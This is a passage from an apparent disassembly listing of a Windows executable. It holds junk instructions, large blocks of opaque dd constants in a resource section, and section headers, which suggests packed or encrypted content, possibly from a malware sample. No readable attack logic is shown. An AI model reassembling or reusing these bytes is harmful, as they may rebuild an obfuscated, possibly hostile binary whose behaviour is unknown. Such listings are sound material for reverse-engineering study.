; END OF FUNCTION CHUNK FOR sub_1009AD7
; ---------------------------------------------------------------------------
db 4Ch
dd 10E3D8D7h, 455F7041h, 9020141Bh, 0D5003443h, 0E164BF40h
dd 475F8FBEh, 910A306Ah, 5024F0A8h, 10E0D800h, 455F7041h
dd 9020141Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_1009AD7
loc_1009C28: ; CODE XREF: sub_1009AD7+D6j
inc ebp
xor [edi], ch
aam 54h
dec esi
pop ds
assume ds:nothing
out dx, eax
sub dh, [eax-10h]
mov eax, 90643000h
stosb
lock loope loc_1009BF4
mov edi, fs
mov dl, [ecx]
adc [eax], bl
mov eax, ds:9F3001D0h
add eax, 5060D4DBh
call near ptr 41127D0Bh
; END OF FUNCTION CHUNK FOR sub_1009AD7
; ---------------------------------------------------------------------------
db 8Fh, 35h, 0CBh
dd 78607024h, 5020F0C5h, 0EF1E1369h, 89A01ABFh, 9A0A3AE3h
dd 74A3653Fh, 0E10BB0C0h, 0EB1DF383h, 90607024h, 0AEA674CFh
dd 16084F7Fh, 9EA07040h, 0DC2C7454h, 1FB50FC0h, 9DE0F0A4h
dd 90B647F5h, 1DA90300h, 1004637Dh, 83E90180h, 0D0A197A8h
dd 23DDB300h, 5020B0E4h, 0EEB2348Fh, 552B8FBFh, 90201497h
dd 0DF21803Fh, 50C37105h, 4B25FB40h, 6F607024h, 0D5AFF1B0h
dd 10A09347h, 0F43FFDCBh, 99833040h, 0DF21813Fh, 50C36405h
dd 2E869840h, 5EDCFFFh, 5060E45Fh, 48D9D8D2h, 0D0CA7040h
dd 0FA30346Ah, 7BB50F3Fh, 93E0F0A4h, 0E9C85084h, 1B603058h
dd 0DB209A14h, 7AE4DA4Ch, 82A21A40h, 0A908306Ah, 3A20F098h
dd 0EF8AE180h, 73358F10h, 0CF607024h, 5FDF7599h, 0EF1D6304h
dd 0D015FDBFh, 29607010h, 5020F6CFh, 0B5135F0Bh, 0C0A09DC1h
dd 15ED3040h, 5060E38Eh, 856D507Fh, 0D0E067C9h, 0F3F5CF52h
dd 0B820B0E4h, 10E0B096h, 0BBCF1F0Ch, 0E2304075h, 3C4986A9h
dd 4685D7E5h, 0B5D51C21h, 6F303041h, 1004E355h, 7653980h
dd 80A03064h, 0FA405A54h, 0F7B50F3Fh, 95E0F0A4h, 0EFD52F80h
dd 0C6625A96h, 3AF47B96h, 108E281h, 83A07040h, 0F2057465h
dd 227097B5h, 7C89C6E9h, 0D0C51725h, 87F5CF56h, 0DB20B0E4h
dd 46B6E644h, 2FF72610h, 0D044A395h, 40E473C0h, 17754FD7h
dd 0BAA03064h, 6F625A00h, 1004CB55h, 11C80980h, 0FB377040h
dd 0B46CB9E1h, 0C5DFA794h, 10A094F3h, 75238673h, 902014F7h
dd 0AF77A4C0h, 50C4C715h, 0A460F540h, 6EE3765Ch, 0AFCE82C4h
dd 7AE894F4h, 2F8A1A40h, 0D0445F95h, 24E075C0h, 0F408235Ch
dd 0E3A07043h, 0A083A1C9h, 74D775F9h, 3895B0C0h, 0DC9EB1C1h
dd 0C4303000h, 71A690h, 851FE3D0h, 0D0E05473h, 0E439F085h
dd 74540FCFh, 0E7653F88h, 38A03064h, 6F9FCE09h, 57B50F93h
dd 0FBE0F0A4h, 0F864F1D8h, 0C7603001h, 7427653Fh, 8109B0C0h
dd 405F8FBCh, 90386858h, 5020E8F9h, 10E0BB74h, 0D0A07041h
dd 90603000h, 5020F0C0h, 0EFB3E6D1h, 908463D5h, 3C399B00h
dd 0AB553044h, 47235E62h, 86FF4273h, 0E5144269h, 24539CC0h
dd 7E85DCF2h, 0B5D23340h, 0D6054461h, 11459CA9h, 7592F380h
dd 96C50421h, 0DD055C69h, 395080A1h, 10A1D7EEh, 0B1C50203h
dd 0E2305574h, 234593AFh, 53E0F1F3h, 0A4C11532h, 0FD056265h
dd 44584AFh, 7185C2E8h, 0A2E37024h, 0F5145165h, 35529894h
dd 53E0D4E1h, 0A4C11532h, 0FF0F6465h, 3C4598ACh, 43D283F0h
dd 0A3D0112Eh, 90145F68h, 24498885h, 7592D8D4h, 97A01421h
dd 0F9264465h, 246195ACh, 7289C2F4h, 0A3C50435h, 0F5273041h
dd 3C49B6B4h, 6A89E3E5h, 0B5E77025h, 0FC097674h, 3D49A4A5h
dd 75A7B0E5h, 0B4CF3D34h, 0D8055C75h, 3C449EA1h, 57E0F1E5h
dd 0B5F40425h, 0F926406Dh, 316E95ACh, 10A1D5EDh, 84D41507h
dd 0C0105D65h, 114884A1h, 6485F780h, 0A3D21516h, 900E5F69h
dd 6549587h, 7993C2E5h, 0A8E51E2Fh, 0FF2C3041h, 396C94A1h
dd 6281C2E2h, 9DA03139h, 0F9364061h, 366F87A5h, 758CD9C6h
dd 0B5D03F40h, 0FC09766Eh, 2041BDA5h, 778ED9F0h, 0A0EF7001h
dd 0E2305E65h, 234593AFh, 62B0B0F3h, 0A3C5132Fh, 0D6520373h
dd 245382A9h, 7F92E080h, 0A3D31523h, 0F52E0233h, 32084B8h
dd 79A6C4E5h, 0A4E1152Ch, 0F2094274h, 234584B5h, 75B3B0C1h
dd 0BCC93634h, 0FD096465h, 3C73F0A5h, 1090D5E5h, 0B1CD1E15h
dd 0F5096670h, 1646BFB7h, 1085DCE9h, 0A4D21916h, 0D10C5175h
dd 334F9CACh, 7992E780h, 0B9E61534h, 0DE60556Ch, 3A44B1B4h
dd 4094C3F5h, 0B9D61932h, 0F507556Ch, 3B4FA4B3h, 5EE0DEE5h
dd 0B5D23334h, 0D6054461h, 50459CA9h, 62A3C4CEh, 0B5D41125h
dd 0F30F4250h, 505383A5h, 62A3C4CEh, 0B5D41125h, 0F30F4250h
dd 155383A5h, 64AEB0F8h, 86D0110Dh, 0DF175569h, 3345A3A6h
dd 7E8FD9F4h, 9FD43E40h, 0C00E5570h, 35439FB2h, 7FB4C3F3h
dd 0D0CE152Bh, 0E230444Eh, 334584AFh, 6289E6F4h, 0BCC10534h
dd 0FF0D554Dh, 1E2089B2h, 7992E7F4h, 0B9F61534h, 0F1154472h
dd 3D45BDACh, 1099C2EFh, 85CC0412h, 0FF03596Eh, 247395A4h
dd 778ED9F2h, 0BEE11F14h, 0E4335973h, 374E99B2h, 51B3E780h
dd 0A2C10413h, 90104574h, 234F9CA3h, 738FC3E5h, 0D0D4152Bh
dd 0FE0E5F63h, 505493A5h, 7894D5E7h, 0B2D4032Fh, 0FD015E79h
dd 3552F0A5h, 63E0C6E3h, 0D0C41E25h, 0FB035F73h, 192084A5h
dd 6285C4EEh, 93D4152Eh, 0F5135F6Ch, 344E9188h, 59E0D5ECh
dd 0A2C5042Eh, 0D714556Eh, 3F6384A5h, 7385DEEEh, 83C41534h
dd 0F5145174h, 244EB9C0h, 758EC2E5h, 0B5D03F34h, 0D960716Eh
dd 224584AEh, 5F94D5EEh, 85CE1530h, 90215C72h, 35549E89h
dd 6485DEF2h, 0B4C11512h, 0F50C5946h, 664B1C0h, 23A9E0C1h
dd 9CE45E72h, 0F532304Ch, 3F4CB3A7h, 75ABD5F3h, 0B5F27039h
dd 0F5107F67h, 2945BBAEh, 10A1C8C5h, 81C71512h, 0E9125575h
dd 254C9196h, 5198F5E5h, 0B7C52240h, 0C6145553h, 35559CA1h
dd 10A1C8C5h, 0FBA599C3h, 900861C8h, 0DDC8F0C0h, 7AE394CCh
dd 81A51A40h, 950A6350h, 0DB703C4Bh, 7AB4E054h, 83F22100h
dd 0B4CBA5FFh, 94A3F080h, 0BF754F8Ch, 53A03064h, 0C7A338C4h
dd 44BF754Dh, 0EFD3B0C0h, 0BAA01A10h, 0FBF5CF06h, 0D520B0E4h
dd 409FC440h, 0D0F84928h, 0FAB4BB00h, 3AEC7BC0h, 10E0D884h
dd 0D2CA7050h, 0F8605A52h, 5020A8F9h, 43B1B0EAh, 73358F10h
dd 0CF607024h, 57B50F99h, 95E0F0A4h, 5BEB04BFh, 0D074B88Dh
dd 0DD2C13C0h, 50F0B015h, 87717340h, 1BB2CF53h, 10046745h
dd 696F3D80h, 38A07053h, 6F9FCF58h, 74BB754Bh, 9F6DB0C0h
dd 0D0A06386h, 6F9F77E8h, 0CFA57B3Fh, 95E0F0A4h, 5DAB0480h
dd 9073E38Fh, 0AF1218C0h, 0D76B4F7Fh, 38F5B31Fh, 90603000h
dd 0F8CD719Dh, 23E0F098h, 0EE25FD89h, 0C160701Ch, 71A194h
dd 851FE1D1h, 0D0E05477h, 6F443487h, 1004F755h, 1422ED80h
dd 0D0482540h, 0CD603000h, 48F71D41h, 0EF8AB0C0h, 0C802E5CDh
dd 0C2303040h, 5004D00Dh, 0D463B0AAh, 5567164Ch, 902028E8h
dd 0D5E7D00Dh, 10A0A86Ah, 0D08A7064h, 910AF35Dh, 63DFF1AAh
dd 0EFE4C37Fh, 0A460F555h, 906B58F0h, 80ABF0C0h, 2CB0B3DBh
dd 0C9A6C5CDh, 2AEB3040h, 5020F1CCh, 11E83A0Bh, 28A37040h
dd 1B00FB2Bh, 3186030Bh, 0F2A7B5F4h, 53629BB5h, 1B373FC7h
dd 9CABA314h, 508AE4D0h, 2FCA2211h, 0B4CBA5FFh, 94A3F080h
dd 2F753B8Ch, 0FBA03064h, 978AB3D7h, 504AF707h, 4769B068h
dd 45C9B343h, 90201501h, 582874C5h, 0A0A270B3h, 0D135F95Ah
dd 67607025h, 31627D22h, 65294E2Ah, 38F5B3A1h, 90603000h
dd 0C8CD719Dh, 9BE0F099h, 908575DDh, 0B41CB300h, 0D42FF0C8h
dd 10E0B039h, 0D2A89CC1h, 0F8343000h, 5020F1C4h, 34B7257Fh
dd 2C2B7000h, 9444B48Dh, 20F0C1h, 1408B0EAh, 86A07040h
dd 0C7606452h, 7473653Fh, 0D9D3B0C0h, 0D1A4E7CDh, 0C1313000h
dd 3A71F2AAh, 10E0D881h, 2FF23040h, 0D0441795h, 0A6A566C0h
dd 44B0EBF4h, 0D0A17428h, 249F6700h, 5022D0E4h, 0F3754F80h
dd 89A03064h, 8614F085h, 0DB70E423h, 42E0DA54h, 2FF62711h
dd 0D044BF95h, 90A5A9C0h, 0EFB660F5h, 908477D5h, 0D437BD00h
dd 144AA792h, 14773DD8h, 7BA07041h, 800AF033h, 8B0399h
dd 40B0E0D0h, 2FF22010h
dd 0D0441F95h, 58E471C0h, 0EFE0B082h, 2FA85434h, 0D044E395h
dd 0C5DFA3C0h, 10A09453h, 0D0A4B21Dh, 0E56A0E80h, 0DDABB6C1h
dd 10A0A404h, 452D69A3h, 90202000h, 0AF7621C3h, 1F203452h
dd 0D0A16FC8h, 80E43F00h, 0D020F0C1h, 958ABEh, 0D09EF006h
dd 9161B40Fh, 6EA0F0C0h, 5611C5A0h, 99F04EC1h, 0D215774Eh
dd 16E63F4Bh, 0DECBFF81h, 81A01A11h, 59F6356h, 5060D40Bh
dd 1F218BD9h, 0D0A0AFC5h, 0A2E5BD00h, 3A20B0DCh, 10ECD880h
dd 83F07040h, 0B4ABA5FFh, 5C1DF080h, 1FE0B080h, 0D0A0CFC5h
dd 90D1D900h, 6EA1F0C0h, 46A9E2D0h, 0D005F54Fh, 56E33000h
dd 5D1C5CC8h, 1079348Fh, 0F09C7040h, 0ACCCC375h, 0DCA5FFFAh
dd 0BDE0B080h, 0F080504Dh, 0F7410D20h, 2F5584A5h, 65C08C2Ch
dd 2FDEF13Ch, 0E4145820h, 2EA181B5h, 3FDAC083h, 16C8056Fh
dd 9F60CF47h, 77304AF1h, 0F217B080h, 53358F12h, 0A3607024h
dd 70A000h, 10E958D0h, 0BFE47040h, 0FF0C5E77h, 0AF2094A1h
dd 50C46B15h, 0A460F540h, 19A90336h, 1005F545h, 1088E180h
dd 81207042h, 6F306651h, 10042F55h, 82753D80h, 80A03059h
dd 0C134F933h, 171A290h, 34D7257Fh, 0D4277000h, 97F5CF24h
dd 0A820B0E4h, 676D3043h, 0D1A03054h, 0DF33F3F9h, 1177A486h
dd 5DBCF5D2h, 0BFD21329h, 0E4065F73h, 3E49A79Ch, 6397DFE4h
dd 0A2D5331Ch, 0E40E5572h, 23529596h, 4C8EDFE9h, 0BCD00805h
dd 0E205426Fh, 394EA5C0h, 5885C5F1h, 0D0D4032Fh, 609F3002h
dd 5020F0C0h, 688FC2F0h, 0FEC11D29h, 0F7034269h, 28419CA1h
dd 7C909EF9h, 93E93E40h, 0F20F104Bh, 3E4691AAh, 45EADFF3h
dd 0F0F23513h, 0A052007Ah, 7011C0F5h, 30CE90AEh, 9FEA2F7Ah
dd 0B6407E49h, 245299B6h, 0F8B5BAF5h, 0D0A07040h, 0D48DB15Dh
dd 9620B0DCh, 50F4C705h, 455F7040h, 9020145Bh, 243F1801h
dd 9BFEDABCh, 90846BF5h, 0ACCC6900h, 360A85EEh, 0D1F8E01h
dd 6D2D5335h, 902014FBh, 722864Bh, 9D45D625h, 90833FC5h
dd 0E5E5BF00h, 0AA20B0E3h, 9C1AF609h, 615B8E0Eh, 7BAFD201h
dd 0CFA57D83h, 40E0F094h, 0D6CA702Ah, 0B40BA5FFh, 2CA3F080h
dd 65E4B8A4h, 0D0A4986Bh, 0D6333000h, 0C5DFF083h, 10A094CFh
dd 2F5C3CA8h, 9067D8FFh, 1673F0C0h, 43AFEFC3h, 9F358F40h
dd 78607024h, 0AFDF0CF5h, 0EF14F968h, 0B22D8FBFh, 78607012h
dd 5020F0CBh, 42A5E3D5h, 948E4273h, 6F607C4Ch, 10049355h
dd 10EA5880h, 0A3D77040h, 0FE094270h, 506196B4h, 3754FD0h
dd 59A03064h, 0D0442F85h, 0DD11FFC0h, 50F7390Dh, 0D125F940h
dd 0C1607025h, 7443653Fh, 7873B0C0h, 0D0A07044h, 87F6858Dh
dd 0DD79F080h, 50C4573Dh, 27E69840h, 5706CFFFh, 103B0645h
dd 93104F80h, 90BB88E5h, 5ED3000h, 5060EB76h, 118AE4D0h
dd 0B8F2702Ah, 10603002h, 74CB653Fh, 0D065B0C0h, 5D82051Ah
dd 0D07BD98Dh, 564AA2C0h, 0B16050Dh, 86F47000h, 0C2316050h
dd 74CF653Fh, 0EFB8B0C0h, 908497D5h, 98E5F600h, 5020B0E7h
dd 10E0BC68h, 9FF32740h, 0A2537B43h, 1C6CB4EEh, 73754F80h
dd 43A03064h, 90603768h, 0BD957DC0h, 49E0F096h, 0F417CDCDh
dd 51883040h, 0B8DF0F36h, 10E0B08Ch, 99EE3917h, 0BE34754Eh
dd 506CBC84h, 3483257Fh, 10257000h, 9187B40Fh, 38B3F0C0h
dd 10E0B085h, 0C78BC5CDh, 1D393040h, 1004237Dh, 0E66A5880h
dd 6D238FBFh, 902014D7h, 92A4FFC0h, 91E0B081h, 0D0A1E0ACh
dd 91086400h, 0AF20F0C1h, 50C40715h, 4064F140h, 0C0603001h
dd 504A244Bh, 0C7754FD2h, 55A03064h, 9D1569C0h, 503378A8h
dd 93754F80h, 3BA03064h, 68DDB3E2h, 5020B0DBh, 956D99F5h
dd 0D0E06BBCh, 53F5CF50h, 0D520B0E4h, 2B64BF40h, 5BA07041h
dd 90EB3C40h, 0D5AFC03Fh, 10A0AB78h, 0F7A8F586h, 0FA613040h
dd 3A219AC0h, 0DF754F82h, 53A03064h, 146FCFF8h, 5020F1D2h
dd 0E4753D13h, 0BAA0305Bh, 6F336210h, 10044F55h, 1F203580h
dd 0D0A082C5h, 86DDBD00h, 0E120B0DCh, 0EA205888h, 44C88FBFh
dd 0CE603000h, 64A916EBh, 851FE4A4h, 0D0E0541Fh, 8C448D8Dh
dd 5191F080h, 0EF1A1168h, 0F4E4FBBFh, 9880F110h, 5404B4CBh
dd 1BE85041h, 80A85404h, 906035E8h, 660ED5C0h, 0EFB7B0F8h
dd 90846FD5h, 9CA4B300h, 7026B706h, 0CF1250Dh, 0D0CA7000h
dd 90601168h, 0AF73A2C0h, 50C47B15h, 0F4DCFD40h, 59F6714h
dd 5060D4E3h, 1AD8B446h, 80A01A00h, 59F6357h, 5060D40Bh
dd 0AD6D5683h, 0D0E06C72h, 9C08306Ah, 720F0C0h, 0DB754FD3h
dd 0EDA03064h, 9060300Ch, 0E5ADBDB5h, 10A09589h, 0F7A8FDCDh
dd 5E4B3040h, 671F0AAh, 0D7754FD3h, 53A03064h, 0BF1E30F8h
dd 0DDDE7B51h, 50C5B935h, 22ADC040h, 0F07045AEh, 0AFDA0728h
dd 792D17Fh, 0A72D79A3h, 1B8ADB01h, 0DDEEDB0Fh, 50C5B93Dh
dd 57048340h, 0C3D9DBF7h, 749B653Fh, 0AD60B0C0h, 0D0E06437h
dd 0F84A4401h, 502085F0h, 3463257Fh, 6D207000h, 90201708h
dd 973184C0h, 50FB4805h, 0D0A07040h, 98E5F600h, 5020B0E7h
dd 0EF1EE669h, 5025B7BFh, 90607014h, 0DA0F0C0h, 9DE0B442h
dd 908779F5h, 59F6600h, 5060D483h, 1F1F4803h, 0D0A0CBC4h
dd 9DE5B900h, 3A20B0E8h, 851FE680h, 0D0E0543Bh, 146FF085h
dd 5020F064h, 40B070ABh, 0BAF0732Ah, 90605801h, 0AF7630C0h
dd 50C49715h, 2F58F340h, 9284B40Fh, 0D5A9F0C0h, 10A09891h
dd 0F8B5FDCDh, 5ED3040h, 5060D8DDh, 108AE2D1h, 9B358F10h
dd 13607024h, 0D42F0F38h, 10E0B232h, 655F702Ah, 90201811h
dd 7467653Fh, 0E863B0C0h, 4B247FBFh, 19603002h, 1008D545h
dd 13298380h, 81F02183h, 6F31346Ah, 1008E175h, 3B754F80h
dd 55A03064h, 0E7E43FC0h, 6320F0C2h, 39653949h, 81A03068h
dd 8F086151h, 20FFC0h, 3487257Fh, 10257000h, 9250B40Fh
dd 0D5A9F0C0h, 10A098ADh, 0E8EBFB83h, 903808B8h, 53F2C3C0h
dd 0E7114741h, 0E525F9A1h, 1B607028h, 5698CC8Bh, 23E0B094h
dd 27617392h, 1981C7F1h, 1008C145h, 0A7EF7380h, 3359760Bh
dd 8833BD36h, 446347CFh, 7BA96083h, 0A35881h, 0E73F0A81h
dd 24D99EA9h, 6A63F99Eh, 0FD2714Ch, 1B5C7B8Bh, 1223E482h
dd 58A43D90h, 0F37987BFh, 0B5E50BC1h, 9320B0E8h, 34A43BD9h
dd 6828F94Ch, 0A3603000h, 9FAB3300h, 0AD6DBB6Bh, 0D0E05749h
dd 0A3BFBBFCh, 311C5C09h, 6ADCB6F2h, 0F08C7237h, 0E43C0CAAh
dd 240ECC2Ch, 65E08C5Dh, 5B6893A8h, 0C8250D01h, 5B54F085h
dd 42A3E3BDh, 99257F40h, 1B9FCFFFh, 1977CDC3h, 94EFF3CEh
dd 2F5F8F7Ch, 0C523673Dh, 61A4FF8Eh, 2D1F4F7Fh, 0E2933317h
dd 6F46B40Fh, 1D0F3Fh, 1FAFE4D3h, 2F5F6BC4h, 78BB03FFh
dd 0AFDF0E83h, 0EFEE348Fh, 2938FBFh, 906026E8h, 0AF4E18C0h
dd 10084F7Fh, 8DA07040h, 0B1D3DD81h, 0A9C9F080h, 74E0B080h
dd 652B42BFh, 9020182Dh, 360279A4h, 4AAD8E01h, 0D042F54Fh
dd 0CEEB3000h, 36FEF3FCh, 55B08B01h, 0D072F54Fh, 0D3973000h
dd 5000F0D6h, 0D565BF80h, 26A07040h, 9F626C43h, 50204B44h
dd 309E3180h, 0F0805060h, 90CEB40Fh, 9FC8F0C0h, 1F1F4F7Eh
dd 0D0A0D3C2h, 6EF7D800h, 0F2C80F3Fh, 9BE0B080h, 908841DDh
dd 6DD5D800h, 0D42F0F3Fh, 10E0B008h, 0F88DC5CBh, 0CEEB3040h
dd 0B8FEF3FCh, 0EF1F4E1Eh, 9A210632h, 90605024h, 6DE7B20h
dd 9DF4CA83h, 90B070F5h
dd 801A3300h, 5025F179h, 0B513E780h, 0D24373F1h, 0CE3F94F3h
dd 0C211FF92h, 11B5370Dh, 80287040h, 7EABD8FFh, 0DB7A0F3Fh
dd 5AE3BCCAh, 0D5E1FD50h, 1948732Bh, 16E7E287h, 30C090A0h
dd 0F8EBF960h, 1B707A8Bh, 1008C145h, 18AA8980h, 9A297333h
dd 80223108h, 50789343h, 38D5350Bh, 92A17000h, 0C0233108h
dd 0DB4422F3h, 126FD4A2h, 0C11DF318h, 90607028h, 0ADC274CFh
dd 0A51F4F7Fh, 0D0E0586Dh, 0B4E7A5FFh, 0E5DFF080h, 10A098A9h
dd 0F4A7E5BFh, 1DED3040h, 5060D8D5h, 38FD250Dh, 82F17000h
dd 259F306Ah, 5060D8D1h, 349F257Fh, 655F7000h, 90201811h
dd 7427653Fh, 0A56DB0C0h, 0D0E05749h, 0B86D85FFh, 0AF76F080h
dd 50C4CB15h, 0C105F340h, 90607028h, 50201803h, 7ABDB080h
dd 0FE4DF141h, 0C8607023h, 0D5E1FF30h, 10A0A400h, 5363B0C5h
dd 9F90CFC8h, 44A07501h, 2D23B0C0h, 0D08A7050h, 11062C75h
dd 3C2CD4BCh, 70F3C5F1h, 2F5FB4A8h, 786545FFh, 0AFDF0D02h
dd 0EF1F6268h, 2F8E11BFh, 0A436482Dh, 0FAC890D2h, 651F4F7Fh
dd 0F4E4FB79h, 99D5BD30h, 0DB20B0E7h, 9186B8D0h, 0A3A2767Ah
dd 90086625h, 0DB200FC0h, 42E0DA44h, 63358F10h, 13607024h
dd 6EA1F804h, 4CDF8FDCh, 16237335h, 6D14D804h, 0D4C80F3Fh
dd 711F4F7Fh, 0D0A055F8h, 0BFD8F300h, 0B820F0C0h, 10E0B090h
dd 68A05082h, 90603030h, 5020F328h, 10C47280h, 0DC8424CDh
dd 68E31ECDh, 30398CC0h, 10E0B068h, 0F4F4FB40h, 8AEB6D30h
dd 73D11D41h, 1408B0C0h, 0B15F8FB4h, 6034C2h, 257Eh dup(0)
_rsrc ends
; Section 4. (virtual address 00015000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00014400
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 1015000h
align 2000h
_idata2 ends
end start